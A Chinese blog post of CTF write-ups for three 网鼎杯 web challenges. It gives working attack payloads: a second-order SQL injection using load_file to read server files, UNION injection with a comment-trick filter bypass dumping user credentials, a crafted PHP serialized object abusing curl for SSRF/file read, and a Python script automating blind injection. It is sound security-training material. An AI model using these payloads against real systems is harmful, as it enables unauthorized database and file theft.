做几道网鼎杯

Comment

打开界面,跟着提交帖子发现要登陆,登陆界面最开始以为是直接注入呢,后来才注意到有提示***要爆破,爆破出来时666,登陆后正常提交帖子,然后好像就没啥了,想起来扫一下目录,扫到了git文件泄露,直接githack下载下来,git恢复了一下拿到源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

比较明显的二次注入,在write操作中将恶意category写入数据库,其实那个转义函数没什么用,因为存入数据库的还是原数据,后来在comment中直接调用了category,造成了二次注入。

最开始试了正常的读取数据库但是没发现回显,后来读了下user()发现是root权限,那flag应该不在数据库,最后发现可以用load_file

来读bash命令记录。这个地方能读取也是建立在可读权限上的

先写个帖子使category = 1',content=(select load_file('/home/www/.bash_history')),/*然后留言出*/#闭合就可以,

在这里插入图片描述

再读.DS_Store ,但需要hex编码一下,因为有不可见字符,接着读flag_8946e1ff1ee3e40f.php拿flag

Fakebook

进入页面发现尝试join,按要求输入了,然后创建了一个用户的样子,看了下源代码,发现一个链接view.php?no=1,感觉是注入的样子,点开正常界面,试了下no=2报错了,接着简单测试了下,用union select时返回了no hack ~_~,被ban了!这里应该就可以确定存在注入了,试了下内敛注释可以绕过。测试了下有四个字段no=-1%20union/**/select%201,2,3,4#,发现username处回显了2,接着就可以来得到表字段啥的了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
no=-1%20union/**/select%201,group_concat(database()),3,4%20limit%200,1#     
回显fakebook

no=-1%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1#
回显users


no=-1%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1#
回显no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS、

no=-1%20union/**/select%201,group_concat(no,username,passwd,data),3,4%20from%20users%20limit%200,1#
回显1kkfineba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413O:8:"UserInfo":3:{s:4:"name";s:6:"kkfine";s:3:"age";i:12;s:4:"blog";s:25:"https://haoami.github.io/";}

no:1
username:kkfine
passwd:ba3253876aed6bc22d4a6ff53d8406c6ad864195ed144ab5c87621b6c233b548baeae6956df346ec8c17f5ea10f35ee3cbc514797ed7ddd3145464e2a0bab413
data:O:8:"UserInfo":3:{s:4:"name";s:6:"kkfine";s:3:"age";i:12;s:4:"blog";s:25:"https://haoami.github.io/";}

再看到这个序列化数据猜到和反序列化有关,到这卡了一下不知道干啥了,然后想起来目录还没扫,发现有robots.txt中有给出了bak文件,拿到源码分析,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

很明显data的数据就是这个UserInfo类,内容就是我们之前注册用户的数据,然后这里需要联想一下,,因为源码里面很明显要SSRF打内网,这里又需要序列化,结合报错消息**Notice**: unserialize(): Error at offset 0 of 1 bytes in **/var/www/html/view.php** on line **31**想到的就是可以用select查询我们构造的data数据,去执行getBlogContents ()来达到SSRF。构造O:8:"UserInfo":3{s:4:"name";s:5:"admin";s:3:"age";i:233;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

1
2
3
4
no=-1 union/**/select  1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

拿到flag
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3sxZmE2ZDUzOS0xZTUyLTQyZjctYTk4NS1mMDZhOTU1NWQ0MmR9IjsNCmV4aXQoMCk7DQo='>

Unfinish

进入界面是一个登录,也没有给注册按钮,那就先扫目录吧,果然扫出来了个register.php,注册界面是需要邮箱,用户名,密码,但登录界面只需要用邮箱和密码,登录进去后回显出来了用户名,似乎又是二次注入。

测试了一下,发现过滤掉了, information等,那left,right函数就用不了了,这里有两个思路,一个是使用hex二次编码,二次编码后的长度太长了,再用from for截取来爆破出想要得到的结果,转码就行了。另个一使用ascii加上

测试pyload0'+ascii(substr(databases()) from 1 for 1)+'0;

0’+ascii(substr((select * from flag) from {} for 1))+’0;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string
import time
import re
url = 'http://5a23b673-9495-4dec-b80c-5cf3bf553d2f.node4.buuoj.cn:81/'
s = string.ascii_letters+string.ascii_uppercase+string.digits
ses = requests.session()
repatter = re.compile('<span class="user-name">[\s]+([\w]+)[\s]+<')
def exp():
result = ''
for i in range(1,100):
time.sleep(0.5)
resister_url = url + 'register.php'
# payload = "0'+ascii(substr((select database()) from {} for 1))+'0;".format(i) #数据库为web
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i)
resister_res = requests.post(resister_url,data={'email':'123{}@qq.com'.format(i),
'username':payload,
'password':'123'}).text
# print(resister_res)
login_url = url + 'login.php'
loginres = requests.post(login_url,data={'email':'123{}@qq.com'.format(i),
'password':'123'}).text
content = re.findall(repatter,loginres)
result += chr(int(content[0]))
print(result) #flag{e3fd3970-c860-4e90-b4ed-189491a9047f}
exp()

另一种用0'+(select substr(hex(hex(({0}))) from {1} for 10))+'0 原理也是差不多的

总结一下,这几个题大都考的是注入,穿插了一下其他的考点像序列化然后ssrf,再次熟悉了二次注入的原理及可能出现的地方,不得不说这几个题目还不错。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!